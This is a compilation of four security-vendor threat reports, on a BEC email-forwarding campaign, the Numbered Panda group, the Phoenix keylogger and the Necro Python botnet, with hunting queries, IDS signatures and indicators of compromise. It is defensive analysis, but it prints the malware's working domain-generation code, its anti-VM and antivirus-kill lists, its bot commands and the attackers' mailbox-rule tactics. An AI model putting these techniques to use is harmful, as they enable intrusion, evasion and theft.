Disrupting BEC operations is one of the areas of focus of Microsoft’s Digital Crimes Unit (DCU), which works with law enforcement and industry partners to take down operational infrastructure used by cybercriminals. For the specific BEC operation discussed in this blog, industry partnership was critical to the disruption. As our research uncovered that attackers abused cloud service providers to perpetrate this campaign, we worked with Microsoft Threat Intelligence Center (MSTIC) to report our findings to multiple cloud security teams, who suspended the offending accounts, resulting in the takedown of the infrastructure.
## Initial Access via Phishing
Using Microsoft 365 Defender threat data, we correlated the BEC campaign to a prior phishing attack. The credentials stolen at this stage were used by the attackers to access target mailboxes. It’s important to note that multi-factor authentication (MFA) blocks attackers from signing into mailboxes. Attacks like this can be prevented by enabling MFA.
Our analysis shows that shortly before the forwarding rules were created, the mailboxes received a phishing email with the typical voice message lure and an HTML attachment. The emails originated from an external cloud provider’s address space.
The HTML attachment contained JavaScript that dynamically decoded an imitation of the Microsoft sign-in page, with the username already populated. When the target user entered their password, they were presented with animations and, eventually, a “File not found” message. Meanwhile, in the background, the JavaScript transmitted the credentials to the attackers via a redirector also hosted by an external cloud provider.
## Persistence and Exfiltration
Having already gained access to mailboxes via the credential phishing attack, attackers gained a persistent data exfiltration channel via email forwarding rules (MITRE T114.003). During the course of our investigation of this campaign, we saw hundreds of compromised mailboxes in multiple organizations with forwarding rules consistently fitting one of the patterns below:
**Mailbox Rule Name** | **Condition**
--- | ---
o365 default | If Body contains invoice, payment, statement
| Forward the email to ex@exdigy[.]net
o365 (del) | If Body contains ex@exdigy[.]net delete message
o365 default | If Body contains invoice, payment, statement
| Forward the email to in@jetclubs[.]biz
o365 (del) | If Body contains in@jetclubs[.]biz delete message
These forwarding rules allowed attackers to redirect financial-themed emails to the attacker-controlled email addresses [email protected] and [email protected]. The attackers also added rules to delete the forwarded emails from the mailbox to stay stealthy.
## BEC Infrastructure in the Cloud
Our analysis revealed that the attack was supported by a robust cloud-based infrastructure. The attackers used this infrastructure to automate their operations at scale, including adding the rules, watching and monitoring compromised mailboxes, finding the most valuable victims, and dealing with the forwarded emails.
The attackers took steps to make it harder for analysts to connect their activities to one operation, for example, running distinct activities for different IPs and timeframes. The attack, however, was conducted from certain IP address ranges. We saw these commonalities in the user agents:
- Credentials checks with user agent “BAV2ROPC”, which is likely a code base using legacy protocols like IMAP/POP3, against Exchange Online. This results in an ROPC OAuth flow, which returns an “invalid_grant” in case MFA is enabled, so no MFA notification is sent.
- Forwarding rule creations with Chrome 79.
- Email exfiltration with a POP3/IMAP client for selected targets.
We observed the above activities from IP address ranges belonging to an external cloud provider, and then saw fraudulent subscriptions that shared common patterns in other cloud providers, giving us a more complete picture of the attacker infrastructure.
The attackers used a well-defined worker structure in the VMs, where each VM executed only a specific operation, which explains why activities originated from different IP sources. The attackers also set up various DNS records that read very similar to existing company domains. These are likely used to blend into existing email conversations or used for more tailored phishing campaigns against specific targets.
The attackers pulled various tools on the VMs. One of the tools was called “EmailRuler”, a C# application that uses ChromeDriver to automatically manipulate the compromised mailboxes. The stolen credentials and the state of the mailbox compromised are stored in a local MySQL database as well as the state of the mailbox compromise.
In addition, we also observed that on selected compromised user accounts, the attackers attempted to pull emails from the mailbox. A tool called “Crown EasyEmail” in the attacker’s VMs was likely used for this activity, consistent with the observation of using a POP3/IMAP client.
## Defending Against BEC and Cloud-Based Attacker Infrastructure with Office 365
Business email compromise is a constant threat to enterprises. As this research shows, BEC attacks are very stealthy, with attackers hiding in plain sight by blending into legitimate traffic using IP ranges with high reputation and by conducting discrete activities at specific times and connections.
Microsoft empowers organizations to comprehensively defend multiplatform and multicloud environments against these types of attacks through a wide range of cross-domain solutions that include advanced pre-breach and post-breach protection capabilities. External email forwarding is now disabled by default in Office 365, significantly reducing the threat of BEC campaigns that use this technique, while giving organizations the flexibility to control external forwarding. Organizations can further reduce their attack surface by reducing or disabling the use of legacy protocols like POP3/IMAP and enabling multi-factor authentication for all users.
As BEC attacks continue to increase in scope and sophistication, organizations need advanced and comprehensive protection like that provided by Microsoft Defender for Office 365. Microsoft Defender for Office 365 protects against email threats using its multi-layered email filtering stack, which includes edge protection, sender intelligence, content filtering, and post-delivery protection. It uses AI and machine learning to detect anomalous account behavior, as well as emails that utilize user and domain impersonation. In addition to disabling external forwarding by default, Microsoft Defender for Office 365 raises alerts for detected suspicious forwarding activity, enabling security teams to investigate and remediate attacks. Features like attack simulation training further help organizations improve user awareness on phishing, BEC, and other threats.
Signals from Microsoft Defender for Office 365 inform Microsoft 365 Defender, which correlates cross-domain threat intelligence to deliver coordinated defense. Expert insights from researchers who constantly monitor the threat landscape help enrich this intelligence with an understanding of attacker behaviors and motivations. AI and machine learning technologies in our security products use this intelligence to protect customers. These signals and insights also enable us to identify and take action on threats abusing cloud services. The resulting takedown of this well-organized, cross-cloud BEC operation by multiple cloud security teams stresses the importance of industry collaboration in the fight against attacks and improving security for all.
## Advanced Hunting Query
Run the following query to locate forwarding rules:
```plaintext
let startTime = ago(7d);
let endTime = now();
CloudAppEvents
| where Timestamp between(startTime .. endTime)
| where ActionType == "New-InboxRule"
| where (RawEventData contains "[email protected]" or RawEventData contains "[email protected]")
or
(RawEventData has_any("invoice","payment","statement") and RawEventData has "BodyContainsWords")
| project Timestamp, AccountDisplayName, AccountObjectId, IPAddress
``` |
FREE SERVICE: Get trending cyber vulnerabilities delivered to your inbox every day.
SUBSCRIBE
Menu |
# Whois Numbered Panda
**Adam Meyers**
**March 29, 2013**
Last week’s Intelligence blog post featured Anchor Panda, one of the many adversary groups that CrowdStrike tracks. The adversary is the human component in an attack that one should focus on. It is not sufficient to simply identify ‘Chinese-based hackers’; it is important to understand the adversary group that has targeted your enterprise and what intelligence they are there to collect. By understanding that there are multiple groups and that they all have different tactics, techniques, and practices (TTPs), you can begin to understand the nature of the threat, what they are looking to collect, and raise the operational cost in order to make targeting your enterprise a costly and difficult endeavor.
Attribution is a tricky subject with regard to incident response and intrusion investigation; it can take years of research to get the home address or the location of the Technical Reconnaissance Bureau (TRB) affiliated with the threat actor. We have to rely on the categorization of the adversary and understanding their TTPs, victims, objectives, and prior art to fully evaluate the threat that adversary poses to us. Understanding the tasking orders the adversary has received can be revealing of the adversary, who they are working for, and their future targeting objectives. If we understand that an adversary has targeted a high-tech company’s intellectual property, then when we encounter that adversary at a different technology company, we have a pretty good idea what they are after. Victims of a targeted attack by a “known” adversary benefit from understanding their intent in order to help gauge response and hopefully make strategic decisions about what is the appropriate countermeasure. If the adversary is known to target mergers and acquisitions intelligence of companies involved in the Chinese market, then when that adversary shows up prior to, or during, some M&A activity, the victim can begin to take actions to limit the effectiveness of the compromised data, feed deceptive information or perhaps wage a formal complaint.
With this in mind, this week we are providing some indicators for a China-based adversary who we crypt as “NUMBERED PANDA.”
Numbered Panda has a long list of high-profile victims and is known by a number of names including: DYNCALC, IXESHE, JOY RAT, APT-12, etc. Numbered Panda has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments. Numbered Panda has targeted organizations in time-sensitive operations such as the Fukushima Reactor Incident of 2011, likely filling intelligence gaps in the ground cleanup/mitigation operations. Screen saver files, which are binary executables and PDF documents, are common Numbered Panda weaponization tactics. One of the most interesting techniques that Numbered Panda likes to use is to dynamically calculate the Command and Control (C2) port by resolving a DNS. This effectively helps Numbered Panda bypass egress filtering implemented to prevent unauthorized communications on some enterprises. The malware will typically use two DNS names for communication: one is used for command and control; the other is used with an algorithm to calculate the port to communicate to. There are several variations of the algorithm used to calculate the C2 port, but one of the most common is to multiply the first two octets of the IP address and add the third octet to that value. This is typically represented as: (A * B) + C – common values might be 200.2.43.X, which would result in communication on port 443. Numbered Panda will frequently use blogs or WordPress in the C2 infrastructure, which helps to make the network traffic look more legitimate. CrowdStrike has observed Numbered Panda targeting high-tech, defense contractors, media organizations, and western governments.
The following intrusion detection rules were written and tested by the CrowdStrike Global Threat Analysis Cell (GTAC) with performance and low false positives in mind – just remember to change the Signature ID (SID) in the IDS rules. Disclosure of this information went through the same IGL process as discussed in the Whois Anchor Panda blog post.
```
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: "[CrowdStrike] NUMBERED PANDA - Joy RAT Variant 1"; flow: from_client, established; content: "6YmV|7c 22|"; depth: 6; sid: xxx; rev: 2; )
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: "[CrowdStrike] NUMBERED PANDA - Joy RAT Variant 2"; flow: from_client, established; content: "Fyoj`U"; depth: 6; sid: xxx; rev: 2;)
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: "[CrowdStrike] NUMBERED PANDA - Joy RAT Variant 3"; flow: from_client, established; content: "yb|13|j["; depth: 5; sid: xxx; rev: 2;)
```
Be sure to follow @CrowdStrike on Twitter as we continue to provide more intelligence and adversaries over the coming weeks. If you have any questions about these signatures or want to hear more about Numbered Panda and their tradecraft, please contact: [email protected] and inquire about our intelligence-as-a-service solutions. |
# Phoenix: The Tale of the Resurrected Keylogger
**Written By**
Cybereason Nocturnus
November 20, 2019 | 11 minute read
Research by: Assaf Dahan
## Introduction: Keylogger Malware
Cybereason’s Nocturnus team is tracking a new keylogger gaining traction among cybercriminals called Phoenix. The keylogger first emerged in July 2019 packed with a myriad of information-stealing features. These features extend beyond solely logging keystrokes, to the point where we are inclined to classify it as an infostealer.
This research explains several aspects of the Phoenix keylogger, including:
1. **A Look Into the Underground Community**: The underground, ongoing marketing efforts to promote Phoenix and its reception in the underground community.
2. **A Technical Breakdown**: A technical breakdown of the Phoenix keylogger, including info stealing capabilities, communication through Telegram, and potential persistence.
3. **The Connection to a Previous Keylogger**: The discovery of the Phoenix keylogger’s connection to the “orphaned” Alpha keylogger.
## Key Findings
- **The Phoenix Keylogger**: The Cybereason Nocturnus team is investigating multiple incidents of a new, emerging keylogger called Phoenix, and is now able to provide details into the keylogger’s operations and its creator.
- **Steals Data From Multiple Sources**: Phoenix operates under a malware-as-a-service model and steals personal data from almost 20 different browsers, four different mail clients, FTP clients, and chat clients.
- **Tries to Stop over 80 Security Products**: On top of its information stealing features, Phoenix has several defensive and evasive mechanisms to avoid analysis and detection, including an Anti-AV module that tries to kill the processes of over 80 different security products and analysis tools.
- **Targets Across Continents**: Despite Phoenix having been released in July 2019, it has already targeted victims across North America, the United Kingdom, France, Germany, and other parts of Europe and the Middle East. We expect more regions to be affected as it gains popularity.
- **Exfiltrates Data through Telegram**: Phoenix offers common SMTP and FTP exfiltration protocols, but also supports data exfiltration over Telegram. Telegram, a popular chat application worldwide, is leveraged by cybercriminals for its legitimacy and end-to-end encryption.
- **Has the Same Author as the Alpha Keylogger**: Phoenix was clearly authored by the same team behind the Alpha keylogger, which disappeared earlier this year.
- **“Malware for the People”**: This research showcases the ever-growing popularity of the Malware-as-a-Service model in the cybercrime ecosystem. Malware authors are developing malware that is easy for any user to operate and comes bundled with customer support and a competitive price point. As we move into 2020, we expect to see many less-technical cybercriminals leverage MaaS to commit cybercrime, especially as MaaS authors start to compete for the most impressive offering.
## Background: Phoenix Keylogger
At the end of July 2019, the Cybereason platform detected a malware sample that was classified by some antivirus vendors as Agent Tesla. Upon further review, however, it became clear that this was not Agent Tesla. We were able to determine this malware was a completely new and previously undocumented malware known as the Phoenix keylogger.
## Phoenix MaaS Model Pricing
Phoenix updated MaaS model pricing. In searching underground communities, we learned that Phoenix first emerged at the end of July in 2019. This keylogger follows the malware as a service (MaaS) model and is sold for $14.99-$25.00 per month by a community member with the handle Illusion.
## Reception in the Underground Community
Shortly after its launch, the Phoenix keylogger caught the attention of the underground community, with numerous members expressing interest in testing the product. The underground community views Phoenix quite favorably because of its stealing capabilities, stability, easy user interface, and customer support.
### Example #1: Extremely User Friendly with Documentation
This cybercriminal’s review expresses how easy Phoenix is to use. The in-depth review discusses documentation, cost, password recovery, and more - all items that are crucial to maintaining any SaaS.
### Example #2: Comes with a User Guide and Friendly
This cybercriminal’s review expresses how Phoenix comes with a user guide and friendly customer support. Specifically, they state how the owner of Phoenix is more than willing to help users if they have questions.
### Example #3: 101% Support to Customers
Continued validation of the quality customer support the owner of Phoenix provides. Illusion’s response to a request for features and recent updates to the changelog.
Reviews of the Phoenix keylogger draw a stark contrast with some MaaS products sold in hacker forums. They praise Illusion’s customer support and positive attitude toward the customer, as opposed to others in the underground community who view their customers solely as cash-cows. These positive reviews suggest Phoenix’s potential for widespread use in the future. Like many modern MaaS, Phoenix gives non-technical and technical users alike easy access to damaging and exploitative software through the proverbial swipe of a credit card. Phoenix is further proof of our ongoing belief that modern MaaS is creating a new group of cybercriminals that profit off of other, less technical cybercriminals.
Further, Phoenix shows how some cybercriminals are following many of the same methodologies as legitimate software-as-a-service (SaaS) businesses: marketing efforts, relying on positive reviews, responsive customer support, and regularly improving features in their product are hallmarks of a profitable SaaS.
## Malware Analysis
### Malware Capabilities
The Phoenix keylogger is written in VB.NET. Phoenix has a host of features that extend far beyond keylogging, including:
- Keylogger + Clipboard Stealer
- Screen Capture
- Password Stealing (Browsers, Mail Clients, FTP clients, Chat Clients)
- Data exfiltration via SMTP, FTP or Telegram
- Downloader (to download additional malware)
- Alleged AV-Killer Module
- Anti-debugging and Anti-VM Features
### Delivery Method
By default, Illusion supplies the Phoenix keylogger to their buyers as a stub. The buyer must use their own methods to deliver the stub to the target machine. The majority of Phoenix infections we observe originate from phishing attempts that leverage a weaponized rich text file (RTF) or Microsoft Office document. These deliveries do not use the more popular malicious macro technique, but instead use known exploits. Most commonly, they exploit the Equation Editor vulnerability (CVE-2017-11882).
### Infected System Profiling
Once Phoenix successfully infects the target machine, it profiles the machine to gather information on the operating system, hardware, running processes, users, and its external IP. Phoenix stores the information in memory and sends it back to the attackers directly, without writing it to disk. Attackers commonly do this to be more stealthy, since it is harder to know what was exfiltrated if it is not written to disk.
### Anti-Analysis & Anti-Detection Features
It’s clear Illusion invested time and effort into protecting Phoenix, as the stub uses a few different methods to protect itself from inspection.
- **String Encryption**: Most critical strings used by the malware are encrypted and only decrypted in memory.
- **Obfuscation**: The stub is obfuscated by what appears to be an implementation of the open source ConfuserEx .NET obfuscator to hinder correct decompilation and code inspection.
Illusion recommends using an additional third-party crypter to “make it FUD”, or fully undetectable. It is worth noting that most Phoenix samples caught in the wild are packed with a crypter, but are still prevented by the majority of antivirus vendors.
After obtaining basic system information, Phoenix checks to see if it is running in a “hostile” environment. A hostile environment can take different forms: if Phoenix is deployed in a virtual machine, debugger, or on a machine with analysis tools or antivirus products installed. Phoenix has a set of features to disable different Windows tools within the admin panel, like disabling CMD, the registry, task manager, system restore, and others.
It is interesting to note that even though the user interface used by Phoenix’s operators seems to have support for a persistence feature, most samples analyzed by Cybereason did not exhibit persistence behavior following a successful infection. A possible explanation to this can lie in the attackers’ wish to minimize the risk of overexposure. Once Phoenix obtained the necessary data, there is no need for it to increase the risk of exposure by persisting longer than needed.
### Anti-VM Module
Most of Phoenix’s anti-VM checks are based on known techniques. Given the checks used and their order, we believe they were most likely copy-pasted from the Cyberbit blog. Phoenix performs the checks and terminates itself if it discovers any of the following processes or files in the target machine.
#### Checking for running processes:
- SandboxieRpcSs
- Vmtoolsd
- Vmwaretrat
- Vmwareuser
- Vmacthlp
- Vboxservice
- Vboxtray
#### Checking for the existence of the following files:
- c:\windows\System32\Drivers\VBoxMouse.sys
- c:\windows\System32\Drivers\vm3dgl.dll
- c:\windows\System32\Drivers\vmtray.dll
- c:\windows\System32\Drivers\VMToolshook.dll
- c:\windows\System32\Drivers\vmmousever.dll
- c:\windows\System32\Drivers\VBoxGuest.sys
- c:\windows\System32\Drivers\VBoxSF.sys
- c:\windows\System32\Drivers\VBoxVideo.sys
- c:\windows\System32\VBoxService.exe
### Disabling Windows Defender
Phoenix attempts to disable the Windows Defender AntiSpyware module by changing the following registry key.
### Anti-AV Module
Phoenix’s anti-AV module tries to terminate the process of a vast number of security products.
#### Security Products Phoenix Attempts to Terminate:
zlclient, egui, bdagent, npfmsg, olydbg, anubis, wireshark, avastui, _Avp32, vsmon, mbam, keyscrambler, _Avpcc, _Avpm, Ackwin32, Outpost, Anti-Trojan, ANTIVIR, Apvxdwin, ATRACK, Autodown, Avconsol, Ave32, Avgctrl, Avkserv, Avnt, Avp, Avp32, Avpcc, Avpdos32, Avpm, Avptc32, Avpupd, Avsched32, AVSYNMGR, Avwin95, Avwupd32, Blackd, Blackice, Cfiadmin, Cfiaudit, Cfinet, Cfinet32, Claw95, Claw95cf, Cleaner, Cleaner3, Defwatch, Dvp95, Dvp95_0, Ecengine, Esafe, Espwatch, F-Agnt95, Findviru, Fprot, F-Prot, F-Prot95, Fp-Win, Frw, F-Stopw, Iamapp, Iamserv, Ibmasn, Ibmavsp, Icload95, Icloadnt, Icmon, Icsupp95, Icsuppnt, Iface, Iomon98, Jedi, Lockdown2000, Lookout, Luall, MCAFEE, Moolive, Mpftray, N32scanw, NAVAPSVC, NAVAPW32, NAVLU32, Navnt, NAVRUNR, Navw32, Navwnt, NeoWatch, NISSERV, Nisum, Nmain, Normist, NORTON, Nupgrade, Nvc95, Outpost, Padmin, Pavcl, Pavsched, Pavw, PCCIOMON, PCCMAIN, Pccwin98, Pcfwallicon, Persfw, POP3TRAP, PVIEW95, Rav7, Rav7win, Rescue, Safeweb, Scan32, Scan95, Scanpm, Scrscan, Serv95, Smc, SMCSERVICE, Snort, Sphinx, Sweep95, SYMPROXYSVC, Tbscan, Tca, Tds2-98, Tds2-Nt, TermiNET, Vet95, Vettray, Vscan40, Vsecomr, Vshwin32, Vsstat, Webscanx, WEBTRAP, Wfindv32, Zonealarm, LOCKDOWN2000, RESCUE32, LUCOMSERVER, avgcc, avgcc, avgamsvr, avgupsvc, avgw, avgcc32, avgserv, avgserv9, avgserv9schedapp, avgemc, ashwebsv, ashdisp, ashmaisv, ashserv, aswUpdSv, symwsc, norton, Norton Auto-Protect, norton_av, nortonav, ccsetmgr, ccevtmgr, avadmin, avcenter, avgnt, avguard, avnotify, avscan, guardgui, nod32krn, nod32kui, clamscan, clamTray, clamWin, freshclam, oladdin, sigtool, w9xpopen, Wclose, cmgrdian, alogserv, mcshield, vshwin32, avconsol, vsstat, avsynmgr, avcmd, avconfig, licmgr, sched, preupd, MsMpEng, MSASCui, Avira.Systray
### Phoenix’s Core Stealing Functionality
Once Phoenix finishes checking for a hostile environment, it executes several different stealing modules.
#### Credential Stealing
Phoenix attempts to steal credentials and other sensitive information stored locally on the target machine by searching for specific files or registry keys that contain sensitive information. It searches browsers, mail clients, FTP clients, and chat clients.
**Browsers**: Chrome, Firefox, Opera, Vivaldi, Brave, Blisk, Epic, Avast browser, SRware Iron, Comodo, Torch, Slimjet, UC browser, Orbitum, Coc Coc, QQ Browser, 360 Browser, Liebao
**Mail Clients**: Outlook, Thunderbird, Seamonkey, Foxmail
**FTP Client**: Filezilla
**Chat Clients**: Pidgin
#### Keylogger Module
Phoenix uses a common method of hooking keyboard events for its keylogging. It uses a Windows API function SetWindowsHookExA to map the pressed keys, then matches them to the corresponding process.
### Network & C2 Communication
Phoenix checks for Internet connectivity and obtains the external IP address of the target machine by sending a GET HTTP request to ifconfig.me, a known Internet service. This service gives Phoenix the external IP address of the target machine, or terminates itself if there is no Internet connectivity.
### SMTP Communication & Exfiltration
For the majority of cases, Phoenix posts the stolen data using the SMTP protocol. The stolen data is sent as an email to an email address controlled by the attacker.
### Telegram Communication & Exfiltration
Alternatively, in some cases Phoenix exfiltrates data by abusing the API of the popular Telegram chat application. This method of exfiltration is quite stealthy, since it abuses Telegram’s legitimate infrastructure. Other malware have also started to use this technique, including the Masad Stealer. Phoenix sends an HTTP request to Telegram’s chat bot. This request includes the Telegram API key, chat ID, and the stolen data is passed through the text parameter in URL encoding.
### Additional Communication with the C2 Server
At its current stage of development, Phoenix does not seem to use a standard, interactive C2 model. Specifically, it doesn’t expect to receive commands back from the C2 server. Phoenix’s various tasks like infostealing, downloading additional malware, and spreading via USB are predefined by the operators in the configuration file before compilation. Phoenix uses a predefined exfiltration method from the configuration file to steal any collected data on execution.
## Connecting to Alpha Keylogger
During our investigation, we discovered the Phoenix keylogger is actually an evolution of an earlier project, Alpha keylogger. We believe the Alpha keylogger was authored by the same team behind the Phoenix keylogger.
### Code Similarity Between Alpha and Phoenix Keylogger
In order to investigate deeper, we used YARA rules and other methods to retrieve additional samples of Phoenix. One of the samples we retrieved was almost identical to Phoenix, with some parts copy-pasted with the same naming conventions, parameter names, and more. However, the name of the malware as it appeared in logs and in code, was consistently Alpha keylogger.
### Similarities Between INFO Schemes
**Alpha Keylogger Client INFO Scheme**
**Phoenix Keylogger Client INFO Scheme**
### Similarities Between SMTP Configurations
**Phoenix Keylogger SMTP Configuration**
**Alpha Keylogger SMTP Configuration**
### Similarities Between SMTP FUNCTIONS
**Phoenix Keylogger SMTP Function**
**Alpha Keylogger SMTP Function**
### Similarities Between SELF-TERMINATION FUNCTIONS
**Phoenix Keylogger Self-termination Function**
**Alpha Keylogger Self-termination Function**
## Alpha Keylogger Overview
In searching the underground communities, we found references to the Alpha keylogger beginning as early as April of 2019. At that time, member Alpha_Coder and later, member AK_Generation, began marketing the keylogger to the underground community.
In reviewing Alpha_Coder’s marketing materials, it is clear the two keyloggers are linked. They share the exact same features, and the description of the features uses the exact same phrasing and even font.
## Disappearance of Alpha, Emergence of Phoenix
In the beginning of July 2019, the two members responsible for marketing the Alpha keylogger went completely silent. This happened just before the emergence of the Phoenix keylogger at the end of July 2019.
While it is not completely clear why the Alpha keylogger was abruptly shut down, chatter in the selling thread gives away potential clues. Alpha_Coder was banned from posting in the forum for one month, for reasons unknown. During that time, AK_Generation led marketing efforts for the Alpha keylogger.
We believe the Phoenix keylogger is not just an evolution of the Alpha keylogger, but also an attempt to rebrand and give the author a clean slate in the underground community.
## Conclusion
This research breaks down the Phoenix keylogger, an information stealer operating under a malware-as-a-service model, currently under active development. Since its emergence in late July 2019, it has gained popularity in the underground community because of its ease of use, competitive pricing, and personal customer support.
Phoenix is more than just a keylogger, with broad information-stealing capabilities, self-defense mechanisms, which include an anti-AV module that attempts to stop over 80 security products, and the ability to exfiltrate data through Telegram. The majority of samples we identified in the wild do not implement a persistence mechanism, nor do they interact bidirectionally with the C2 server. Instead, the stolen data is posted to a pre-configured exfiltration method, which suggests Phoenix is being used mostly as a “set it and forget it” type of malware.
Based on our analysis, Phoenix’s malware-as-a-service model appeals to a broad range of cybercriminals, particularly the less sophisticated who do not possess the technical know-how to develop their own successful malware infrastructure. This signals a continued trend of cybercriminals following the malware-as-a-service model to make malware accessible for any level user. Malware authors are starting to use many of the same methodologies as legitimate software-as-a-service businesses, including marketing their software, personalized customer support, and an easy user interface to continuously profit off of other, less technical cybercriminals.
Moving into 2020, we expect a proliferation of less-technical cybercriminals to leverage MaaS to target, steal, and harm individuals, particularly as MaaS authors add additional features to their offerings. |
# Necro Python Botnet Goes After Vulnerable VisualTools DVR
In the last week of September 2021, Juniper Threat Labs detected a new activity from Necro Python (a.k.a N3Cr0m0rPh, Freakout, Python.IRCBot) that is actively exploiting some services, including a new exploit added to its arsenal. This new exploit targets Visual Tools DVR VX16 4.2.28.0 from visual-tools.com (no CVE number is assigned to this vulnerability). Successful exploitation will download the bot into the system and install a Monero miner.
Necro was first discovered in January. The threat actor made a move in March and in May, adding new exploits to its arsenal. Necro bot is an interesting python bot that has many functions which include the following:
- Network Sniffer
- Spreading by exploits
- Spreading by brute-force
- Using Domain Generation Algorithm
- Installing a Windows rootkit
- Receiving and executing bot commands
- Participating in DDoS attacks
- Infecting HTML, JS, PHP files
- Installing Monero Miner
The script can run in both Windows and Linux environments. The script has its own polymorphic engine to morph itself every execution which can bypass signature-based defenses. This works by reading every string in its code and encrypting it using a hardcoded key.
## Domain Generation Algorithm
Necro uses DGA for both its CnC and download server. It selects from a list of dynamic DNS services as its domain, e.g., ddns.net and prefixes that with 10-19 random characters. E.g., ‘3ood3dfcqchro.ddns.net’
The domains are pseudo-randomly generated using a hardcoded seed, 0xFAFFDED00001, and a counter is added until 0xFD (253 in decimal) before the counter is reset to 0. The seed controls the domain to be generated. In effect, it can generate up to 253 unique domains. This seed is different from the previous campaigns. For instance, the sample used in the March attack used a different seed, 0x7774DEAD.
From this list of generated domains, it connects to them one by one to see which one is online. During our analysis, the following DGA domain was active:
- gtmpbeaxruxy[.]myftp.org
```python
import random
counter=0
while 1:
if counter>=0xFD:
counter=0
counter+=1
random.seed(a=0xFAFFDED00001 + counter)
DGA_DOMAIN=(''.join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
for _ in range(random.randrange(10,19)))).lower()+"."+random.choice(['ddns.net', 'ddnsking.com',
'3utilities.com', 'bounceme.net', 'freedynamicdns.net', 'freedynamicdns.org', 'gotdns.ch', 'hopto.org',
'myddns.me', 'myftp.biz', 'myftp.org', 'myvnc.com', 'onthewifi.com', 'redirectme.net', 'servebeer.com',
'serveblog.net', 'servecounterstrike.com', 'serveftp.com', 'servegame.com', 'servehalflife.com',
'servehttp.com', 'serveirc.com', 'serveminecraft.net', 'servemp3.com', 'servepics.com', 'servequake.com',
'sytes.net', 'viewdns.net', 'webhop.me', 'zapto.org'])
```
## Bot Commands
Necro connects to the CnC server, gtmpbeaxruxy.myftp.org, via IRC to receive commands which include the following:
| Command | Function |
|----------------|--------------------------------------------|
| addport | add port to the scanner |
| delport | remove port from scanner |
| ports | send to server the ports currently scanned |
| injectcount | send to server the number of files injected|
| reinject | launch function to inject to html, php, js, htm files |
| scanner | stop or launch scanner |
| sniffer | stop or launch sniffer |
| scannetrange | scan a range of IPs |
| clearscan | empty scanner DB |
| revshell | launch a reverse shell |
| shell | launch a process using subprocess.Popen() |
| killknight | kill itself |
| execute | executes a file |
| killbyname | kill process by name |
| killbypid | kill process by pid |
| disable | disable exploitation module |
| enable | enable exploitation module |
| getip | get current IP |
| ram | get information about the memory |
| update | update this bot |
| visit | visit a URL |
| dlexe | download and execute a file |
| info | get system information |
| repack | morph this bot |
| logout | logout from the server |
| reconnect | reconnect to the server |
| udpflood | UDP flood |
| synflood | SYN flood |
| tcpflood | TCP flood |
| slowloris | slowloris DDoS attack |
| httpflood | launch httpflood |
| torflood | launch DDoS using TOR SOCKS proxies |
| loadamp | initialize amplification attack |
| reflect | launch DNS reflection attack |
We have noted a few changes on this bot from the previous version. First, it removed the SMB scanner which was observed in the May 2021 attack. Second, it changed the URL that it injects to script files on the compromised system. Previously, it used a hardcoded URL, ‘ublock-referer[.]dev/campaign.js’ and injects this on the scripts and now it uses the DGA for its URL, i.e., ‘DGA_DOMAIN/campaign.js’. As noted in the previous reports, this bot will find HTML, PHP, JS, and HTM files in the system and will inject a JavaScript code in every file. This is an attempt for the attacker to not only compromise the server but also clients connecting to it. Using a DGA domain to host the JavaScript makes it more resilient against defenses.
## New Tor Proxies
When the bot receives the “torflood” command, it uses a set of TOR proxies for its DDoS attacks.
- 107.150.8.170:9051
- 95.217.251.233:1080
- 5.130.184.36:9999
- 83.234.161.187:9999
- 185.186.240.37:9119
- 5.61.53.57:9500
- 23.237.60.122:9051
- 185.82.217.167:9051
- 78.153.5.183:666
- 51.210.202.187:8425
- 85.159.44.163:9050
- 217.12.221.85:9051
- 130.61.153.38:9050
- 142.93.143.155:9010
- 8.209.253.198:9000
- 127.0.0.1:9050
## Visual Tools DVR Exploit
As noted above, this bot added a new exploit to its arsenal. The exploit targets Visual Tools DVR VX16 4.2.28.0. A proof of concept for this exploit was made available to the public in July 2021.
Aside from the bot, the payload will install a XMRig Monero miner with the following wallet:
```
45iHeQwQaunWXryL9YZ2egJxKvWBtWQUE4PKitu1VwYNUqkhHt6nyCTQb2dbvDRqDPXveNq94DG9uTndKcWLYNoG2uonhgH
```
The scanner function of the bot scans for the following ports and if available, it launches its attack.
```
TARGET_PORTS = [22, 80, 443, 8081, 8081, 7001]
```
Juniper Threat Labs is still seeing this Necromorph exploiting the following vulnerabilities:
1. CVE-2020-15568 – TerraMaster TOS before 4.1.29
2. CVE-2021-2900 – Genexis PLATINUM 4410 2.1 P4410-V2-1.28
3. CVE-2020-25494 – Xinuos (formerly SCO) Openserver v5 and v6
4. CVE-2020-28188 – TerraMaster TOS <= 4.2.06
5. CVE-2019-12725 – Zeroshell 3.9.0
## Detection
Exploits used in this attack are detected by Juniper’s NGFW SRX series:
- HTTP:CGI:BASH-CODE-INJECTION
- HTTP:CTS:TERRAMASTER-TOS-INJCTN
- HTTP:CTS:SCO-OPNSRVR-OS-INJ
- HTTP:CTS:GENEXIS-PLAT-RCE
- HTTP:CTS:ZEROSHELL-CGI-BIN-RCE
Juniper Advanced Threat Prevention Cloud detects this bot as follows:
Juniper Advanced Threat Prevention DNS Security also detects the DGA domain.
## Indicators of Compromise
**Domains:**
- gtmpbeaxruxy[.]myftp.org
**URLs:**
- http://gtmpbeaxruxy[.]myftp.org/setup.py
- http://gtmpbeaxruxy[.]myftp.org/setup
- http://gtmpbeaxruxy[.]myftp.org/xmrig
- http://gtmpbeaxruxy[.]myftp.org/xmrig1
**Files:**
| File Hash | File Name |
|-------------------------------------------------------------------------------------------|-----------|
| Eb4a48a32af138e9444f87c4706e5c03d8dc313fabb7ea88c733ef1be9372899 | setup |
| E524bd7789b82df11891cc2c12af1ac0ea41dd0b946e1e04a4246cb36321f82f | setup.py |
| 0e537db39a7be5493750b7805e3a97da9e6dd78a0c7fca282a55a0241803d803 | xmrig |
| F72babf978d8b86a75e3b34f59d4fc6464dc988720d1574a781347896c2989c7 | xmrig1 |
**IP Addresses & Ports:**
- 107[.]150.8.170:9051
- 130[.]61.153.38:9050
- 142[.]93.143.155:9010
- 185[.]186.240.37:9119
- 185[.]82.217.167:9051
- 217[.]12.221.85:9051
- 23[.]237.60.122:9051
- 5[.]130.184.36:9999
- 5[.]61.53.57:9500
- 51[.]210.202.187:8425
